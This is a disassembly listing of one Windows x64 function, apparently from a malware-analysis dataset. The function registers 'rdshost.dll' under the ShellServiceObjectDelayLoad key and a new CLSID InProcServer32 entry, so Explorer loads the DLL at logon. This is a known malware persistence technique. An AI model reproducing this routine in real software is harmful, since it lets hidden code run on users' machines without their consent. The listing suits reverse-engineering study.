Function at 0x140003986
Capabilities:
Get common file path
Set registry value

Disassembly:
jmp 0x140007760
push rbp
push rsi
push r14
lea rbp, [rsp - 0xf60]
mov eax, 0x1060
call fcn.140001820
sub rsp, rax
xor edx, edx
lea rcx, [rbp + 0x762]
mov r8d, 0x7fe
call fcn.14000314d
xor r14d, r14d
lea rcx, [rsp + 0x62]
xor edx, edx
mov word [rsp + 0x60], r14w
mov r8d, 0x7fe
call fcn.14000314d
movsd xmm0, qword [str.rdshost.dll]
lea rcx, [rsp + 0x60]
mov eax, dword [0x140081f60]
mov edx, 0x800
movsd qword [0x140124f20], xmm0
mov dword [0x140124f28], eax
call qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea rcx, [rsp + 0x60]
dec rcx
nop dword [rax]
cmp byte [rcx + 1], r14b
lea rcx, [rcx + 1]
jne 0x1400077e0
movzx eax, word [0x140081f68]
mov word [rcx], ax
lea rcx, [rsp + 0x60]
dec rcx
nop dword [rax]
cmp byte [rcx + 1], r14b
lea rcx, [rcx + 1]
jne 0x140007800
lea rsi, [0x140124f20]
xor edx, edx
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [rsi + rdx]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x140007820
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitialize]
lea rcx, [rsp + 0x50]
call qword [sym.imp.ole32.dll_CoCreateGuid]
test eax, eax
jne 0x140007a78
mov qword [rsp + 0x1088], rbx
lea rcx, [rbp + 0x760]
xor edx, edx
mov qword [rsp + 0x1090], rdi
mov r8d, 0x800
call fcn.14000314d
mov ecx, 0x4e
call fcn.1400023b0
mov r8d, 0x27
lea rcx, [rsp + 0x50]
mov rdx, rax
mov rdi, rax
call qword [sym.imp.ole32.dll_StringFromGUID2]
mov rbx, 0xffffffffffffffff
mov r9, rbx
nop dword [rax]
inc r9
cmp word [rdi + r9*2], r14w
jne 0x1400078a0
mov qword [rsp + 0x38], r14
lea rax, [rbp + 0x760]
mov qword [rsp + 0x30], r14
mov r8, rdi
mov dword [rsp + 0x28], 0x800
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov rcx, rdi
call fcn.14000259a
mov qword [rsp + 0x40], r14
lea rax, [rbp + 0xf80]
mov qword [rsp + 0x38], rax
lea r9, [0x140081f6a]
mov qword [rsp + 0x30], r14
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionShellServiceObjectDelayLoad
mov dword [rsp + 0x28], 0xf003f
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov dword [rsp + 0x20], r14d
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov rcx, qword [rbp + 0xf80]
mov rdi, qword [rsp + 0x1090]
test rcx, rcx
je 0x140007a70
lea rdx, [rbp + 0x760]
mov rax, rbx
inc rax
cmp byte [rdx + rax], r14b
jne 0x140007940
mov dword [rsp + 0x28], eax
lea rdx, str.rdshost
lea rax, [rbp + 0x760]
mov r9d, 1
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rbp + 0xf80]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [str.CLSID_]
lea rcx, [rsp + 0x60]
mov dword [rsp + 0x60], eax
dec rcx
movzx eax, word [0x140081fd8]
mov word [rsp + 0x64], ax
movzx eax, byte [0x140081fda]
mov byte [rsp + 0x66], al
cmp byte [rcx + 1], r14b
lea rcx, [rcx + 1]
jne 0x1400079a5
lea r8, [rbp + 0x760]
xor edx, edx
nop dword [rax + rax]
movzx eax, byte [r8 + rdx]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x1400079c0
lea rax, [rsp + 0x60]
dec rax
nop dword [rax + rax]
cmp byte [rax + 1], r14b
lea rax, [rax + 1]
jne 0x1400079e0
movups xmm0, xmmword [str.InProcServer32]
mov qword [rsp + 0x40], r14
lea r9, [0x140081f6a]
xor r8d, r8d
lea rdx, [rsp + 0x60]
movups xmmword [rax], xmm0
lea rax, [rbp + 0xf80]
mov rcx, 0xffffffff80000000
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], r14d
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov rcx, qword [rbp + 0xf80]
test rcx, rcx
je 0x140007a70
nop
inc rbx
cmp byte [rsi + rbx], r14b
jne 0x140007a40
mov dword [rsp + 0x28], ebx
mov r9d, 1
xor r8d, r8d
mov qword [rsp + 0x20], rsi
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rbp + 0xf80]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rbx, qword [rsp + 0x1088]
add rsp, 0x1060
pop r14
pop rsi
pop rbp
ret